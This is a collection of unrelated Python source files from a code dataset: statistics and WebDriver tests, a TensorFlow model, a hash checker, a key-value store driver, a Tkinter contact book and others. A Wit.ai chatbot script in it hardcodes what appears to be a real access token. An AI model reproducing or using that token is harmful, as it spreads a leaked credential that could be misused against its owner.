RandomState(133)\n\n self.df_features = pd.DataFrame({'sc1': [1, 2, 3, 4, 1, 2, 3, 4, 1, 2],\n 'f1': self.prng.normal(0, 1, 10),\n 'f2': self.prng.normal(1, 0.1, 10),\n 'f3': self.prng.normal(2, 0.1, 10),\n 'group': ['group1'] * 10},\n index=range(0, 10))\n\n self.df_features_same_score = self.df_features.copy()\n self.df_features_same_score[['sc1']] = [3] * 10\n\n self.human_scores = pd.Series(self.prng.randint(1, 5, size=10))\n self.system_scores = pd.Series(self.prng.random_sample(10) * 5)\n self.same_human_scores = pd.Series([3] * 10)\n\n # get the directory containing the tests\n self.test_dir = dirname(__file__)\n\n def test_correlation_helper(self):\n\n # test that there are no nans for data frame with 10 values\n retval = Analyzer.correlation_helper(self.df_features, 'sc1', 'group')\n assert_equal(retval[0].isnull().values.sum(), 0)\n assert_equal(retval[1].isnull().values.sum(), 0)\n\n def test_that_correlation_helper_works_for_data_with_one_row(self):\n # this should return two data frames with nans\n # we expect a runtime warning here so let's suppress it\n with warnings.catch_warnings():\n warnings.filterwarnings('ignore', category=RuntimeWarning)\n retval = Analyzer.correlation_helper(self.df_features[:1], 'sc1', 'group')\n assert_equal(retval[0].isnull().values.sum(), 3)\n assert_equal(retval[1].isnull().values.sum(), 3)\n\n def test_that_correlation_helper_works_for_data_with_two_rows(self):\n # this should return 1/-1 for marginal correlations and nans for\n # partial correlations\n retval = Analyzer.correlation_helper(self.df_features[:2], 'sc1', 'group')\n assert_equal(abs(retval[0].values).sum(), 3)\n assert_equal(retval[1].isnull().values.sum(), 3)\n\n def test_that_correlation_helper_works_for_data_with_three_rows(self):\n # this should compute marginal correlations but return Nans for\n # partial correlations\n retval = Analyzer.correlation_helper(self.df_features[:3], 'sc1', 'group')\n assert_equal(retval[0].isnull().values.sum(), 0)\n assert_equal(retval[1].isnull().values.sum(), 3)\n\n def test_that_correlation_helper_works_for_data_with_four_rows(self):\n # this should compute marginal correlations and return a unity\n # matrix for partial correlations\n retval = Analyzer.correlation_helper(self.df_features[:4], 'sc1', 'group')\n assert_equal(retval[0].isnull().values.sum(), 0)\n assert_almost_equal(np.abs(retval[1].values).sum(), 0.9244288637889855)\n\n def test_that_correlation_helper_works_for_data_with_the_same_label(self):\n\n # this should return two data frames with nans\n with warnings.catch_warnings():\n warnings.filterwarnings('ignore', category=RuntimeWarning)\n retval = Analyzer.correlation_helper(self.df_features_same_score, 'sc1', 'group')\n assert_equal(retval[0].isnull().values.sum(), 3)\n assert_equal(retval[1].isnull().values.sum(), 3)\n\n def test_that_metrics_helper_works_for_data_with_one_row(self):\n # There should be NaNs for SMD, correlations and both sds\n # note that we will get a value for QWK since we are\n # dividing by N and not N-1\n with warnings.catch_warnings():\n warnings.filterwarnings('ignore', category=RuntimeWarning)\n evals = Analyzer.metrics_helper(self.human_scores[0:1],\n self.system_scores[0:1])\n assert_equal(evals.isnull().values.sum(), 4)\n\n def test_that_metrics_helper_works_for_data_with_the_same_label(self):\n # There should be NaNs for correlation and SMD.\n # Note that for a dataset with a single response\n # kappas will be 0 or 1\n with warnings.catch_warnings():\n warnings.filterwarnings('ignore', category=RuntimeWarning)\n evals = Analyzer.metrics_helper(self.same_human_scores,\n self.system_scores)\n assert_equal(evals.isnull().values.sum(), 2)\n\n def test_metrics_helper_population_sds(self):\n df_new_features = pd.read_csv(join(self.test_dir, 'data', 'files', 'train.csv'))\n # compute the metrics when not specifying the population SDs\n computed_metrics1 = Analyzer.metrics_helper(df_new_features['score'],\n df_new_features['score2'])\n expected_metrics1 = pd.Series({'N': 500.0,\n 'R2': 0.65340566606389394,\n 'RMSE': 0.47958315233127197,\n 'SMD': 0.03679030063229779,\n 'adj_agr': 100.0,\n 'corr': 0.82789026370069529,\n 'exact_agr': 77.0,\n 'h_max': 6.0,\n 'h_mean': 3.4199999999999999,\n 'h_min': 1.0,\n 'h_sd': 0.81543231461565147,\n 'kappa': 0.6273493195074531,\n 'sys_max': 6.0,\n 'sys_mean': 3.4500000000000002,\n 'sys_min': 1.0,\n 'sys_sd': 0.81782496620652367,\n 'wtkappa': 0.8273273273273274})\n\n # and now compute them specifying the population SDs\n computed_metrics2 = Analyzer.metrics_helper(df_new_features['score'],\n df_new_features['score2'],\n population_human_score_sd=0.5,\n population_system_score_sd=0.4,\n smd_method='williamson')\n # the only number that should change is the SMD\n expected_metrics2 = expected_metrics1.copy()\n expected_metrics2['SMD'] = 0.066259\n\n assert_series_equal(computed_metrics1.sort_index(), expected_metrics1.sort_index())\n assert_series_equal(computed_metrics2.sort_index(), expected_metrics2.sort_index())\n\n def test_compute_pca_less_components_than_features(self):\n # test pca when we have less components than features\n df = pd.DataFrame({'a': range(100)})\n for i in range(100):\n df[i] = df['a'] * i\n (components, variance) = Analyzer.compute_pca(df, df.columns)\n assert_equal(len(components.columns), 100)\n assert_equal(len(variance.columns), 100)\n\n def test_compute_disattenuated_correlations_single_human(self):\n hm_corr = pd.Series([0.9, 0.8, 0.6],\n index=['raw', 'raw_trim', 'raw_trim_round'])\n hh_corr = pd.Series([0.81], index=[''])\n df_dis_corr = Analyzer.compute_disattenuated_correlations(hm_corr,\n hh_corr)\n assert_equal(len(df_dis_corr), 3)\n assert_equal(df_dis_corr.loc['raw', 'corr_disattenuated'], 1.0)\n\n def test_compute_disattenuated_correlations_matching_human(self):\n hm_corr = pd.Series([0.9, 0.4, 0.6],\n index=['All data', 'GROUP1', 'GROUP2'])\n hh_corr = pd.Series([0.81, 0.64, 0.36],\n index=['All data', 'GROUP1', 'GROUP2'])\n df_dis_corr = Analyzer.compute_disattenuated_correlations(hm_corr,\n hh_corr)\n assert_equal(len(df_dis_corr), 3)\n assert_array_equal(df_dis_corr['corr_disattenuated'], [1.0, 0.5, 1.0])\n\n def test_compute_disattenuated_correlations_single_matching_human(self):\n hm_corr = pd.Series([0.9, 0.4, 0.6],\n index=['All data', 'GROUP1', 'GROUP2'])\n hh_corr = pd.Series([0.81],\n index=['All data'])\n df_dis_corr = Analyzer.compute_disattenuated_correlations(hm_corr,\n hh_corr)\n assert_equal(len(df_dis_corr), 3)\n assert_array_equal(df_dis_corr['corr_disattenuated'], [1.0, np.nan, np.nan])\n\n def test_compute_disattenuated_correlations_mismatched_indices(self):\n hm_corr = pd.Series([0.9, 0.6],\n index=['All data', 'GROUP2'])\n hh_corr = pd.Series([0.81, 0.64],\n index=['All data', 'GROUP1'])\n df_dis_corr = Analyzer.compute_disattenuated_correlations(hm_corr,\n hh_corr)\n assert_equal(len(df_dis_corr), 3)\n assert_array_equal(df_dis_corr['corr_disattenuated'], [1.0, np.nan, np.nan])\n\n def test_compute_disattenuated_correlations_negative_human(self):\n hm_corr = pd.Series([0.9, 0.8],\n index=['All data', 'GROUP1'])\n hh_corr = pd.Series([-0.03, 0.64],\n index=['All data', 'GROUP1'])\n df_dis_corr = Analyzer.compute_disattenuated_correlations(hm_corr,\n hh_corr)\n assert_equal(len(df_dis_corr), 2)\n assert_array_equal(df_dis_corr['corr_disattenuated'], [np.nan, 1.0])\n","sub_path":"tests/test_analyzer.py","file_name":"test_analyzer.py","file_ext":"py","file_size_in_byte":10090,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"258765568","text":"import math\nimport time\n\nimport pytest\n\nfrom webdriver.bidi.modules.script import ContextTarget\n\nfrom . import assert_console_entry\n\n\n@pytest.mark.asyncio\n@pytest.mark.parametrize(\n \"log_argument, expected_text\",\n [\n (\"'TEST'\", \"TEST\"),\n (\"'TWO', 'PARAMETERS'\", \"TWO PARAMETERS\"),\n (\"{}\", \"[object Object]\"),\n (\"['1', '2', '3']\", \"1,2,3\"),\n (\"null, undefined\", \"null undefined\"),\n ],\n ids=[\n \"single string\",\n \"two strings\",\n \"empty object\",\n \"array of strings\",\n \"null and undefined\",\n ],\n)\nasync def test_text_with_argument_variation(\n bidi_session,\n current_session,\n wait_for_event,\n log_argument,\n expected_text,\n top_context,\n):\n await bidi_session.session.subscribe(events=[\"log.entryAdded\"])\n\n on_entry_added = wait_for_event(\"log.entryAdded\")\n\n # TODO: To be replaced with the BiDi implementation of execute_script.\n current_session.execute_script(f\"console.log({log_argument})\")\n\n event_data = await on_entry_added\n\n assert_console_entry(event_data, text=expected_text, context=top_context[\"context\"])\n\n\n@pytest.mark.asyncio\n@pytest.mark.parametrize(\n \"log_method, expected_level\",\n [\n (\"assert\", \"error\"),\n (\"debug\", \"debug\"),\n (\"error\", \"error\"),\n (\"info\", \"info\"),\n (\"log\", \"info\"),\n (\"table\", \"info\"),\n (\"trace\", \"debug\"),\n (\"warn\", \"warning\"),\n ],\n)\nasync def test_level(\n bidi_session, current_session, wait_for_event, log_method, expected_level\n):\n await bidi_session.session.subscribe(events=[\"log.entryAdded\"])\n\n on_entry_added = wait_for_event(\"log.entryAdded\")\n\n # TODO: To be replaced with the BiDi implementation of execute_script.\n if log_method == \"assert\":\n # assert has to be called with a first falsy argument to trigger a log.\n current_session.execute_script(\"console.assert(false, 'foo')\")\n else:\n current_session.execute_script(f\"console.{log_method}('foo')\")\n\n event_data = await on_entry_added\n\n assert_console_entry(\n event_data, text=\"foo\", level=expected_level, method=log_method\n )\n\n\n@pytest.mark.asyncio\nasync def test_timestamp(bidi_session, current_session, current_time, wait_for_event):\n await bidi_session.session.subscribe(events=[\"log.entryAdded\"])\n\n on_entry_added = wait_for_event(\"log.entryAdded\")\n\n time_start = current_time()\n\n # TODO: To be replaced with the BiDi implementation of execute_async_script.\n current_session.execute_async_script(\n \"\"\"\n const resolve = arguments[0];\n setTimeout(() => {\n console.log('foo');\n resolve();\n }, 100);\n \"\"\"\n )\n\n event_data = await on_entry_added\n\n time_end = current_time()\n\n assert_console_entry(\n event_data, text=\"foo\", time_start=time_start, time_end=time_end\n )\n\n\n@pytest.mark.asyncio\nasync def test_new_context_with_new_window(\n bidi_session, current_session, wait_for_event, top_context\n):\n await bidi_session.session.subscribe(events=[\"log.entryAdded\"])\n\n on_entry_added = wait_for_event(\"log.entryAdded\")\n current_session.execute_script(\"console.log('foo')\")\n event_data = await on_entry_added\n assert_console_entry(event_data, text=\"foo\", context=top_context[\"context\"])\n\n new_window_handle = current_session.new_window()\n current_session.window_handle = new_window_handle\n\n on_entry_added = wait_for_event(\"log.entryAdded\")\n current_session.execute_script(\"console.log('foo_in_new_window')\")\n event_data = await on_entry_added\n assert_console_entry(\n event_data, text=\"foo_in_new_window\", context=new_window_handle\n )\n\n\n@pytest.mark.asyncio\nasync def test_new_context_with_refresh(\n bidi_session, current_session, wait_for_event, top_context\n):\n await bidi_session.session.subscribe(events=[\"log.entryAdded\"])\n\n on_entry_added = wait_for_event(\"log.entryAdded\")\n current_session.execute_script(\"console.log('foo')\")\n event_data = await on_entry_added\n assert_console_entry(event_data, text=\"foo\", context=top_context[\"context\"])\n\n current_session.refresh()\n\n on_entry_added = wait_for_event(\"log.entryAdded\")\n current_session.execute_script(\"console.log('foo_after_refresh')\")\n event_data = await on_entry_added\n assert_console_entry(\n event_data, text=\"foo_after_refresh\", context=top_context[\"context\"]\n )\n\n\n@pytest.mark.asyncio\nasync def test_different_contexts(\n bidi_session,\n wait_for_event,\n test_page_same_origin_frame,\n top_context,\n):\n await bidi_session.browsing_context.navigate(\n context=top_context[\"context\"], url=test_page_same_origin_frame, wait=\"complete\"\n )\n contexts = await bidi_session.browsing_context.get_tree(root=top_context[\"context\"])\n assert len(contexts[0][\"children\"]) == 1\n frame_context = contexts[0][\"children\"][0]\n\n await bidi_session.session.subscribe(events=[\"log.entryAdded\"])\n\n on_entry_added = wait_for_event(\"log.entryAdded\")\n await bidi_session.script.evaluate(\n expression=\"console.log('foo')\",\n target=ContextTarget(top_context[\"context\"]),\n await_promise=True,\n )\n event_data = await on_entry_added\n assert_console_entry(event_data, text=\"foo\", context=top_context[\"context\"])\n\n on_entry_added = wait_for_event(\"log.entryAdded\")\n await bidi_session.script.evaluate(\n expression=\"console.log('bar')\",\n target=ContextTarget(frame_context[\"context\"]),\n await_promise=True,\n )\n event_data = await on_entry_added\n assert_console_entry(event_data, text=\"bar\", context=frame_context[\"context\"])\n","sub_path":"webdriver/tests/bidi/log/entry_added/console.py","file_name":"console.py","file_ext":"py","file_size_in_byte":5668,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"249657671","text":"#coding:utf-8\r\nimport os\r\nimport numpy as np \r\nimport tensorflow as tf\r\nfrom ops import *\r\n#import win_unicode_console\r\n#win_unicode_console.enable()\r\n\r\n\r\n\r\ndef comExp(inputs, class_num):\r\n \"\"\"\r\n vggExp for ExpGan\r\n input: the output of the pre-trained vggFace\r\n \"\"\"\r\n with tf.variable_scope('comExp') as scope:\r\n \r\n conv0 = tf.nn.relu(conv2d(inputs, 16, 'conv0', kernel_size=5))\r\n conv1 = tf.nn.relu(conv2d(conv0, 16, 'conv1', kernel_size=5))\r\n max_pool0 = tf.nn.max_pool(conv1, [1,2,2,1], [1,2,2,1], padding='SAME')\r\n\r\n conv2 = tf.nn.relu(conv2d(max_pool0, 32, 'conv2', kernel_size=5))\r\n conv3 = tf.nn.relu(conv2d(conv2, 32, 'conv3', kernel_size=5))\r\n max_pool1 = tf.nn.max_pool(conv3, [1,2,2,1], [1,2,2,1], padding='SAME')\r\n\r\n conv4 = tf.nn.relu(conv2d(max_pool1, 64, 'conv4', kernel_size=5))\r\n conv5 = tf.nn.relu(conv2d(conv4, 64, 'conv5', kernel_size=5))\r\n max_pool2 = tf.nn.max_pool(conv5, [1,2,2,1], [1,2,2,1], padding='SAME')\r\n\r\n \"\"\"\r\n flatten = tf.contrib.layers.flatten(max_pool1)\r\n fc1 = tf.nn.dropout(bn(tf.nn.relu(fullyConnect(flatten, 64, name='fc_1')), name='norm_4'), 0.6)\r\n fc2 = tf.nn.dropout(bn(tf.nn.relu(fullyConnect(fc1, 64, name='fc_2')), name='norm_5'), 0.6)\r\n \r\n output = fullyConnect(fc2, self.classes, name='fc_3')\r\n \"\"\"\r\n output = conv2d(max_pool2, class_num, 'ouput', kernel_size = 7, padding='valid')\r\n\r\n return output\r\n \r\n","sub_path":"model.py","file_name":"model.py","file_ext":"py","file_size_in_byte":1499,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"76348035","text":"import sys\nfrom wit import Wit\n\naccess_token = 'SOWLWKMD7CKS6GZ3K3A55LGPXRKZHKL6'\n\ndef send(request, response):\n\tprint(response['text'])\n\ndef welcome(request):\n\tcontext = request['context']\n\tentities = request['entities']\n\n\tcontext['name'] = 'Guest'\n\t\n\tif 'contact' in entities:\n\t\tcontext['name'] = entities['contact'][0]['value']\n\t\t\n\treturn context\n\n\t\ndef talkie(request):\n\tcontext = request['context']\n\tentities = request['entities']\n\t\n\t#Handle a new statement\n\tif 'name' in context and 'via' in context and 'msg' in context:\n\t\tdel context['name']\n\t\tdel context['msg']\n\t\tdel context['via']\n\t\n\t#Handle Contact Name\n\tif 'contact' in entities:\n\t\tcontext['name'] = entities['contact'][0]['value']\n\t\t\n\t#Handle Message Body\n\tif 'message_body' in entities:\n\t\tcontext['msg'] = entities['message_body'][0]['value']\n\t\t\n\t#Handle Channel\n\tif 'channel' in entities:\n\t\tcontext['via'] = entities['channel'][0]['value']\n\t\t\n\treturn context\n\t\nactions = {\n\t'send': send,\n\t'welcome': welcome,\n\t'talkie': talkie,\n}\n\nclient = Wit(access_token=access_token, actions=actions)\nclient.interactive()","sub_path":"talkie_basic.py","file_name":"talkie_basic.py","file_ext":"py","file_size_in_byte":1074,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"445175285","text":"\"\"\"Test connectivity measures.\"\"\"\nimport numpy as np\nimport xarray as xr\n\nfrom frites.conn import (conn_covgc, conn_transfer_entropy, conn_dfc)\n\n\nclass TestConn(object):\n\n def test_conn_transfer_entropy(self):\n \"\"\"Test function conn_transfer_entropy.\"\"\"\n n_roi, n_times, n_epochs = 4, 100, 20\n max_delay = 30\n x = np.random.uniform(0, 1, (n_roi, n_times, n_epochs))\n # test across all pairs\n te, pairs = conn_transfer_entropy(x, max_delay=max_delay)\n assert te.shape == (pairs.shape[0], n_times - max_delay)\n assert pairs.shape == (n_roi * (n_roi - 1), 2)\n # test specific pairs\n pairs = np.c_[np.array([0, 1]), np.array([2, 3])]\n n_pairs = pairs.shape[0]\n te, pairs = conn_transfer_entropy(x, max_delay=max_delay, pairs=pairs)\n assert te.shape == (n_pairs, n_times - max_delay)\n assert pairs.shape == (n_pairs, 2)\n\n def test_conn_dfc(self):\n \"\"\"Test function conn_dfc.\"\"\"\n n_epochs = 5\n n_times = 100\n n_roi = 3\n times = np.linspace(-1, 1, n_times)\n win_sample = np.array([[10, 20], [30, 40]])\n roi = [f\"roi_{k}\" for k in range(n_roi)]\n x = np.random.rand(n_epochs, n_roi, n_times)\n\n dfc = conn_dfc(x, win_sample, times=times, roi=roi)\n assert dfc.shape == (n_epochs, 3, 2)\n dfc = conn_dfc(x, win_sample, times=times, roi=roi)\n assert isinstance(dfc, xr.DataArray)\n\n def test_conn_covgc(self):\n \"\"\"Test function conn_covgc.\"\"\"\n n_epochs = 5\n n_times = 100\n n_roi = 3\n x = np.random.rand(n_epochs, n_roi, n_times)\n dt = 10\n lag = 2\n t0 = [50, 80]\n\n _ = conn_covgc(x, dt, lag, t0, n_jobs=1, method='gc')\n gc = conn_covgc(x, dt, lag, t0, n_jobs=1, method='gauss')\n assert gc.shape == (n_epochs, 3, len(t0), 3)\n assert isinstance(gc, xr.DataArray)\n gc = conn_covgc(x, dt, lag, t0, n_jobs=1, method='gc',\n conditional=True)\n","sub_path":"frites/conn/tests/test_conn.py","file_name":"test_conn.py","file_ext":"py","file_size_in_byte":2025,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"143358684","text":"\nfrom auxiliary_resources import format_integer\nfrom auxiliary_resources import format_float\n\nclass RsltCls(object):\n\n def __init__(self, model):\n\n # Collect model parameters and related information.\n self.params = model.params\n self.pvalues = model.pvalues\n\n # Collect summary statistics.\n self.stats = dict()\n self.stats['rsquared_adj'] = model.rsquared_adj\n self.stats['nobs'] = model.nobs\n\n # Some auxiliary information.\n self.labels_param = self.params.keys().tolist()\n self.labels_stats = ['nobs', 'rsquared_adj']\n self.labels = self.labels_param + self.labels_stats\n\n def get_latex_entry(self, label):\n \"\"\" Get a pretty formatted latex entry.\n \"\"\"\n assert label in self.labels\n\n if label in self.labels_param:\n\n value = format_float(self.params[label])\n pvalue = self.pvalues[label]\n\n str_ = '$' + str(value)\n\n if pvalue <= 0.01:\n str_ += '^{***}$'\n elif pvalue <= 0.05:\n str_ += '^{**\\phantom{*}}$'\n elif pvalue <= 0.10:\n str_ += '^{*\\phantom{**}}$'\n else:\n str_ += '^{\\phantom{***}}$'\n\n else:\n if label in ['rsquared_adj']:\n value = format_float(self.stats[label])\n else:\n value = format_integer(self.stats[label])\n str_ = '$' + str(value) + '$'\n\n return str_\n","sub_path":"resources/_modules/RsltCls.py","file_name":"RsltCls.py","file_ext":"py","file_size_in_byte":1494,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"477051582","text":"\nimport sys\nimport hashlib\n\n#print welcome message for the user\ndef welcome_message():\n print(\"\\nWelcome to hash check\")\n print(\"Here are the supported algorithms:\")\n\n#guaranteed set of hash algorithms supported by this module on all platforms\n#take the set from the module and return list for further use\ndef get_supported_algorithms():\n sup_alg = []\n hashes = hashlib.algorithms_guaranteed\n #don't include variable output shake algorithms\n for i in hashes:\n if i == 'shake_128':\n continue\n elif i == 'shake_256':\n continue\n #append any non shake algorithms to the supported list\n else:\n sup_alg.append(i)\n return sup_alg\n\n#print out the list of supported hash algorithms\ndef print_supported_algorithms(sup_alg):\n sup_alg = sorted(sup_alg)\n for i in sup_alg:\n print(i)\n\n#gathers user input on hash algorithm and path of file/program\n#returns a two element list with the string values\ndef gather_input(): \n alg = input(\"Enter the hash algorithm to use: \")\n path = input(\"Enter the path of your file or program to check: \")\n reference_hash = input(\"Enter the reference hash to check against: \")\n user_input = [alg,path,reference_hash]\n return user_input\n\n#computes the hash based on user input and verifies if it matches the reference value\ndef hash_checker(user_input):\n try:\n #guaranteed set of hash algorithms supported by this module on all platforms\n sup_alg = get_supported_algorithms()\n\n #user supplied algorithm type, path to file to be hashed, reference value to check against\n user_alg = user_input[0]\n user_path = user_input[1]\n user_reference = user_input[2]\n\n #check if user specified algorithm matches a module supported algorithm\n user_specified_alg = False\n for i in sup_alg:\n if user_alg == i:\n user_specified_alg = True\n break\n \n #user supplied algorithm is supported\n if user_specified_alg is True:\n #create a hashlib object and pass in the user supplied algorithm type\n hash_obj = hashlib.new(user_alg)\n #open up the user supplied file in read only and binary mode\n file_obj = open(user_path, mode='rb')\n #get a bytes like object from the open file\n file_obj = file_obj.read()\n #run the hash against the bytes like object\n hash_obj.update(file_obj)\n hash_value = hash_obj.hexdigest()\n\n #report output on hash check depending on success or failure\n if hash_value == user_reference:\n print(\"\\nSuccess\")\n print(\"Your supplied value \" + user_reference + \" MATCHES\")\n print(\"\\nthe \" + user_alg + \" hash \" + hash_value)\n else:\n print(\"\\nFailure\")\n print(\"Your supplied value DOES NOT MATCH the \" + user_alg + \" hash of the file or program: \" + user_path)\n print(hash_value)\n else:\n print(\"\\nError, user supplied algorithm doesn't match system list\")\n \n except IOError as err:\n print(\"OS error opening file {0}\".format(err))\n except:\n raise\n\n#encapsulating method for program logic\ndef run_program():\n try:\n welcome_message()\n print_supported_algorithms(get_supported_algorithms())\n hash_checker(gather_input())\n except:\n print(\"Unexpected error, closing program\", sys.exc_info()[0])\n exit(1)\n\n#run it\nrun_program()\n","sub_path":"hash_check.py","file_name":"hash_check.py","file_ext":"py","file_size_in_byte":3576,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"310107390","text":"#!/usr/bin/env python\n#\n# Copyright (c) 2013 Antoine Musso\n# Copyright (c) Wikimedia Foundation Inc.\n#\n# Licensed under the GPL Version 2.0\n# See LICENSE for details.\n\nimport logging\nimport requests\n\nZUUL_STATUS = 'https://integration.wikimedia.org/zuul/status.json'\n\n\ndef main(options={}):\n \"Returns a dict of projects => pipelines\"\n logger = logging.getLogger(__name__)\n\n r = requests.get(ZUUL_STATUS, verify=(not options.insecure))\n\n zuul_conf = r.json()\n if 'pipelines' not in zuul_conf:\n raise Exception(\"Zuul status is missing 'pipelines' section \")\n\n ret = {}\n for pipeline in zuul_conf['pipelines']:\n p_name = pipeline.get('name')\n p_queues = pipeline.get('change_queues')\n projects = p_queues[0].get('name').split(', ')\n logger.debug(\"Pipeline '%s' has %s projects\" % (p_name,\n len(projects)))\n\n for project in projects:\n if project not in ret:\n ret[project] = []\n ret[project].append(p_name)\n\n return {'zuul': ret}\n","sub_path":"consistency/providers/zuul.py","file_name":"zuul.py","file_ext":"py","file_size_in_byte":1048,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"2622803","text":"from setuptools import setup, find_packages\n\nwith open('README.md', 'r', encoding='utf-8') as f:\n long_description = f.read()\n\nsetup(\n name='aiocqhttp-sanic',\n version='1.2.3-pre.1',\n url='https://github.com/KawashiroNitori/python-aiocqhttp-sanic',\n license='MIT License',\n author='Richard Chien, KawashiroNitori',\n author_email='richardchienthebest@gmail.com',\n description='A Python SDK with async I/O for CQHTTP (Based on Sanic).',\n long_description=long_description,\n long_description_content_type=\"text/markdown\",\n packages=find_packages(include=('aiocqhttp', 'aiocqhttp.*')),\n package_data={\n '': ['*.pyi'],\n },\n install_requires=['sanic<=19.9.0', 'httpx>=0.11,<1.0'],\n extras_require={\n 'all': ['ujson'],\n },\n python_requires='>=3.7',\n platforms='any',\n classifiers=[\n 'Programming Language :: Python :: 3',\n 'License :: OSI Approved :: MIT License',\n 'Operating System :: OS Independent',\n 'Framework :: Robot Framework',\n ],\n)\n","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":1038,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"380932798","text":"import subprocess\nimport sys\nimport time\nimport os\nimport logging\nfrom socket import *\nimport pickle\nimport shutil\n\nlogging.basicConfig(level=logging.INFO, format=\"DRIVER\" + \": %(message)s\")\nMESSAGE_LEN = 512\n\n\ndef main(case, num_kv_processes, num_clients, ports, output_sleep):\n process = 'python kvstore.py'\n\n client = 'python client.py'\n\n list_kv = [\"\"] * num_kv_processes\n\n all_ports_str = \"\"\n for port in ports:\n all_ports_str += \" \" + str(port)\n\n for index, port in enumerate(ports):\n list_kv[index] = process + \" -p \" + str(port) + \" -a \" + all_ports_str + \" -i \" + str(index)\n\n client_processes = []\n for i in range(1, num_clients + 1):\n client_processes.append(client + \" -t \" + str(case) + \" -i \" + str(i))\n\n processes = [subprocess.Popen(process, shell=True) for process in list_kv]\n\n # Give the processes some time to spawn\n time.sleep(2)\n\n # spawn clients & send messages\n host = \"localhost\"\n client_socket = None\n\n cl_processes = [subprocess.Popen(process, shell=True) for process in client_processes]\n\n time.sleep(output_sleep)\n\n try:\n for port in ports:\n client_socket = socket(AF_INET, SOCK_STREAM)\n client_socket.connect((host, port))\n client_socket.sendall(pickle.dumps({\"type\": \"get_result\"}))\n client_socket.close()\n\n except error as e:\n print(\"error:\", e)\n client_socket.close()\n\n time.sleep(2)\n logging.info(\"You may terminate the program\")\n\n for process in processes:\n process.wait()\n\n\nif __name__ == \"__main__\":\n # PLEASE DEFINE YOUR CASE (refer the report or the comments below to choose one)\n case = 4\n\n dirs = ['logs']\n\n for dir in dirs:\n if os.path.exists(\"./logs\"):\n for filename in os.listdir(dir):\n file_path = os.path.join(dir, filename)\n try:\n if os.path.isfile(file_path) or os.path.islink(file_path):\n os.unlink(file_path)\n elif os.path.isdir(file_path):\n shutil.rmtree(file_path)\n except Exception as e:\n continue\n\n ################################################################################################################\n # TOM\n messages, num_kv_processes, num_clients, ports, output_sleep = None, None, None, None, None\n if case == 1:\n num_kv_processes = 2\n num_clients = 2\n ports = [8081, 8082]\n output_sleep = 5\n\n elif case == 2:\n num_kv_processes = 2\n num_clients = 2\n ports = [8081, 8082]\n output_sleep = 7\n\n elif case == 3:\n num_kv_processes = 3\n num_clients = 2\n ports = [8081, 8082, 8083]\n output_sleep = 15\n elif case == 4:\n num_kv_processes = 5\n num_clients = 21\n ports = [8081, 8082, 8083, 8084, 8085]\n output_sleep = 15\n\n main(case, num_kv_processes, num_clients, ports, output_sleep)\n","sub_path":"Eventual/driver.py","file_name":"driver.py","file_ext":"py","file_size_in_byte":3012,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"311020352","text":"\nfrom tkinter import *\nimport datetime\nfrom mycontacts import MyContact\nfrom AddContact import createContact\nfrom aboutme import aboutMe\nfrom PIL import Image, ImageTk\n\n\ndate = datetime.datetime.now()\n\n\nclass Application:\n def __init__ (self, master):\n self.master = master\n\n ## Frames\n self.top = Frame(master, height = 140, bg = 'white')\n self.top.pack(fill = X)\n \n self.bottom = Frame(master, height = 380, bg = '#000000')\n self.bottom.pack(fill = X)\n\n # Top Frame designing \n self.top_image = PhotoImage(file = \"icons/contactbook.png\", height = 75, width = 60 )\n self.top_image_label = Label(self.top, image = self.top_image, bg = \"white\")\n self.top_image_label.place(x = 100, y = 30)\n\n self.heading = Label(self.top, text = \"My Contact Book\", font = \"arial 25 bold\", bg = \"white\", fg = \"#000000\")\n self.heading.place(x = 200, y = 40)\n ## Adding Date:\n self.top_date = Label(self.top, text = date.strftime('%d %B,%Y'), bg = \"white\", font = \"arial 10 bold\")\n self.top_date.place(x = 500, y = 100)\n\n ## button1 - view contacts\n self.view_button = Button(self.bottom, text = \" View Contacts \", bg = \"white\", fg = 'black', font = \"arial 15 bold\", width = 15, command = self.view_contacts, activebackground = \"#03fcf8\")\n self.view_button.place(x = 400, y = 75)\n \n ## button2 - add contacts\n self.add_button = Button(self.bottom, text = \" Add Contacts \", bg = \"white\", fg = \"black\", font = \"arial 15 bold\", width = 15, command = self.add_contact, activebackground = \"#03fcf8\")\n self.add_button.place(x = 400, y = 170)\n \n ## button3 - about us\n self.about_us = Button(self.bottom, text = \" About Me\", bg = \"white\", fg = \"black\", font = \"arial 15 bold\", width = 15, command = self.about_me, activebackground = \"#03fcf8\")\n self.about_us.place(x = 400, y = 265)\n\n ## Adding Background Image\n\n self.bg = ImageTk.PhotoImage(file = \"icons/back1.jpg\")\n background = Label(self.bottom, image = self.bg , bg = \"black\" ).place(x = 20, y = 0, relheight = 1)\n\n\n def view_contacts(self):\n contact = MyContact()\n \n def add_contact(self):\n add = createContact()\n\n def about_me(self):\n my_info = aboutMe()\n\ndef main():\n root = Tk()\n app = Application(root)\n root.title(\"Contact Book App\")\n root.geometry(\"650x550+350+150\")\n root.resizable(False, False)\n root.mainloop()\n\n\n\n\nif __name__ == '__main__':\n main()","sub_path":"contactbook/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2552,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"198905936","text":"import numpy as np\nimport scipy\nfrom scipy.stats import invgamma, gamma\n\nclass importance :\n\n def __init__(self, N = 1000, alpha = 1, nugget = None, sig2 = None, lamb = None, \n ksig2 = 1, thetasig2 = 1, klambda = 2, thetalambda = 2, bridge = False):\n\n self.N = N\n self.alpha = 1 if not bridge else alpha \n self.sig2 = sig2\n self.lamb = lamb\n self.nugget = nugget\n 